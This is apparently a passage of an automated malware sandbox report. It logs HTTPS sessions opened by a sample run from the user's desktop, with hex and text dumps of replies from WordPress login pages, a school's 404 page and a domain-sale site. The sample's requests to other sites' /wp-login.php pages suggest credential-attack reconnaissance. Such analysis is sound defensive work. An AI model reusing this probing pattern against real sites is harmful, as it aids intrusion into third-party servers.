69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 Data Ascii: trigger: function ( event_type, event_data, el ) {var event;try {event = new CustomEvent( event_type, { detail: event_data } );} catch ( e ) {event = document.createEvent( 'CustomEvent' );event.initCustomEvent
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 34 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 43 6f 6e 63 6f 72 64 20 4c 65 61 72 6e 69 6e 67 20 41 63 61 64 65 6d 79 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 Data Ascii: ollow' />... This site is optimized with the Yoast SEO plugin v21.4 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - Concord Learning Academy</title><meta property="og:locale" content="en_US" /><meta property="og:title" cont
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 61 73 3d 22 66 6f 6e 74 22 20 74 79 70 65 3d 22 66 6f 6e 74 2f 77 6f 66 66 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 2f 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 61 63 65 62 6f 6f 6b 2d 64 6f 6d 61 69 6e 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 70 77 31 76 6b 77 6f 36 7a 7a 6d 68 32 69 76 30 6f 6d 6e 6c 7a 35 61 61 64 74 71 6b 34 39 22 20 2f 3e 0d 0a 3c 21 2d 2d 20 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 20 43 6f 64 65 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 66 2c 62 2c 65 2c 76 2c 6e 2c 74 2c 73 29 0d 0a 7b 69 66 28 66 2e 66 62 71 29 72 65 74 75 72 6e 3b 6e 3d 66 2e 66 62 71 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 63 61 6c 6c 4d 65 74 68 6f 64 3f 6e 2e 63 61 6c 6c 4d 65 Data Ascii: as="font" type="font/woff2" crossorigin/><meta name="facebook-domain-verification" content="pw1vkwo6zzmh2iv0omnlz5aadtqk49" />... Facebook Pixel Code --><script>!function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?n.callMe
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 3d 27 64 61 74 61 4c 61 79 65 72 27 3f 27 26 6c 3d 27 2b 6c 3a 27 27 3b 6a 2e 61 73 79 6e 63 3d 74 72 75 65 3b 6a 2e 73 72 63 3d 0d 0a 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 6d 2e 6a 73 3f 69 64 Data Ascii: cript>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 34 30 34 22 3e 0a 0a 3c 61 20 68 72 65 66 3d 22 23 61 31 31 79 2d 73 6b 69 70 2d 6c 69 6e 6b 2d 63 6f 6e 74 65 6e 74 22 20 63 6c 61 73 73 3d 22 61 31 31 79 2d 73 6b 69 70 2d 6c 69 6e 6b 20 61 31 31 79 2d 76 69 73 75 61 6c 2d 68 69 64 65 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 0a 3c 64 69 76 20 63 6c Data Ascii: cation-TileImage" content=""><meta name="msapplication-TileColor" content=""><meta name="theme-color" content=""></head><body class="error404"><a href="#a11y-skip-link-content" class="a11y-skip-link a11y-visual-hide">Skip to main content</a><div cl
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 09 09 09 09 3c 2f 6f 6c 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 3c 2f 6e 61 76 3e 0a 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 6c 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 77 69 64 65 20 73 69 74 65 2d 68 65 61 64 65 72 5f 5f 6f 75 74 65 72 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 5f 5f 69 6e 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 20 64 61 74 61 2d 6a 73 3d 22 6c 6f 67 6f 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 6f 72 64 22 20 20 72 65 6c 3d 22 68 6f 6d 65 22 3e 43 6f 6e 63 6f 72 64 20 4c 65 61 72 6e 69 6e 67 20 41 63 61 64 65 6d 79 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d Data Ascii: </ol></div></nav><div class="l-container l-container--wide site-header__outer"><div class="site-header__inner"><div class="logo" data-js="logo"><a href="https://kidsrkids.com/concord" rel="home">Concord Learning Academy</a><span class=
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 6c 3d 22 53 63 68 6f 6f 6c 20 49 6e 66 6f 22 20 64 61 74 61 2d 65 78 70 61 6e 64 3d 22 32 30 30 22 20 20 20 64 61 74 61 2d 73 69 7a 65 73 3d 22 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 36 30 70 78 29 20 31 32 36 30 70 78 2c 20 31 30 30 76 77 22 20 64 61 74 61 2d 62 67 73 65 74 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 6f 72 64 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 73 69 74 65 73 2f 32 2f 32 30 31 38 2f 31 30 2f 53 63 68 6f 6f 6c 5f 41 67 65 5f 54 72 61 6e 73 70 6f 72 74 61 74 69 6f 6e 5f 62 75 73 2d 65 31 35 38 39 38 36 36 37 39 37 38 33 33 2d 36 30 30 78 33 37 35 2e 6a 70 67 20 36 30 30 77 20 33 37 35 68 2c 20 0a 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 Data Ascii: l="School Info" data-expand="200" data-sizes="(min-width: 1260px) 1260px, 100vw" data-bgset="https://kidsrkids.com/concord/wp-content/uploads/sites/2/2018/10/School_Age_Transportation_bus-e1589866797833-600x375.jpg 600w 375h, https://kidsrkids.com/conc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	60073	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	171	OUT	GET /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:38 UTC	813	IN	Data Raw: 32 32 37 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 2277<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:38 UTC	8018	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	59993	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	206	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	800	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:38 UTC	569	IN	Data Raw: 39 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 925<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f Data Ascii: " /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/
2023-11-26 05:59:38 UTC	410	IN	Data Raw: 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 Data Ascii: ily=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];function
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 31 31 38 34 0d 0a 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 2d 6f 76 65 72 6c 61 79 2d 6d 6f 64 61 Data Ascii: 1184imension3': 'siteversion'}});gtag('event', 'pageLoad', { 'siteversion': 'HDv3' });</script></head><body><a href="#main" class="skip-main">Skip to main content</a><header id="header" class="hdv3HeaderDarkBlue"><div class="js-overlay-moda
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 48 65 61 64 65 72 20 44 6f 6d 61 69 6e 20 53 65 61 72 63 68 22 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 6f 6e 43 6c 69 63 6b 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 53 75 62 6d 69 74 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 39 30 70 78 3b 20 68 65 69 67 68 74 3a 33 35 70 78 3b 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 75 74 74 6f 6e 49 44 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 20 69 64 3d Data Ascii: ID" aria-label="Header Domain Search"><button type="submit" value class="search-btn" onClick="hdv3HeaderSearchSubmitFunc(); return false; " style="min-width:90px; height:35px;" id="hdv3HeaderSearchButtonID">Search</button><button type="button" value id=
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 66 6d 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 66 61 71 2e 63 66 6d 22 3e 46 41 51 73 3c 2f 62 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 Data Ascii: "><a class="nav-link " href="https://www.HugeDomains.com/index.cfm">Home</a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeDomains.com/faq.cfm">FAQs</b></a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeD
2023-11-26 05:59:38 UTC	385	IN	Data Raw: 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6d 61 69 6e 20 22 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 2d 66 61 76 2d 77 72 61 70 70 20 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 2d 77 72 61 70 70 20 64 6e 2d 6d 6f 62 69 6c 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6c 69 64 65 2d 73 69 64 65 62 61 72 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 2d 6e 65 77 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 20 67 72 65 65 6e 22 Data Ascii: v></nav></header><main class="site-main "><div class="product-fav-wrapp container"><div class="side-wrapp dn-mobile"><div class="slide-sidebar-block"><div class="ss-block-inner"><div class="ss-block-inner-new"><span class="ss-block-title green"
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 34 66 35 33 0d 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 26 65 3d 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 62 2d 30 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f Data Ascii: 4f53<a href="https://www.HugeDomains.com/shopping_cart.cfm?d=RobinsonLand&e=com" class="btn m-b-0 m-t-0 " id="hdv3Billboard197BuyID" onClick="$('#hdv3Billboard197BuyID').addClass('hiddenAtLoad'); $('#hdv3Billboard197BuyProceID').removeClass('hiddenAtLo
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 3d 22 20 70 6c 61 63 65 2d 6f 72 64 65 72 2d 62 74 6e 20 70 61 79 6d 65 6e 74 70 61 79 2d 61 63 63 61 75 6e 74 2d 63 6f 6e 74 65 6e 74 2d 62 74 6e 20 62 74 6e 20 68 69 64 64 65 6e 41 74 4c 6f 61 64 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 Data Ascii: =" place-order-btn paymentpay-accaunt-content-btn btn hiddenAtLoad" onclick="return false;" style="height:50px; margin-left:0px; min-width:273px; margin-top:0px; margin-bottom:25px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	59713	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
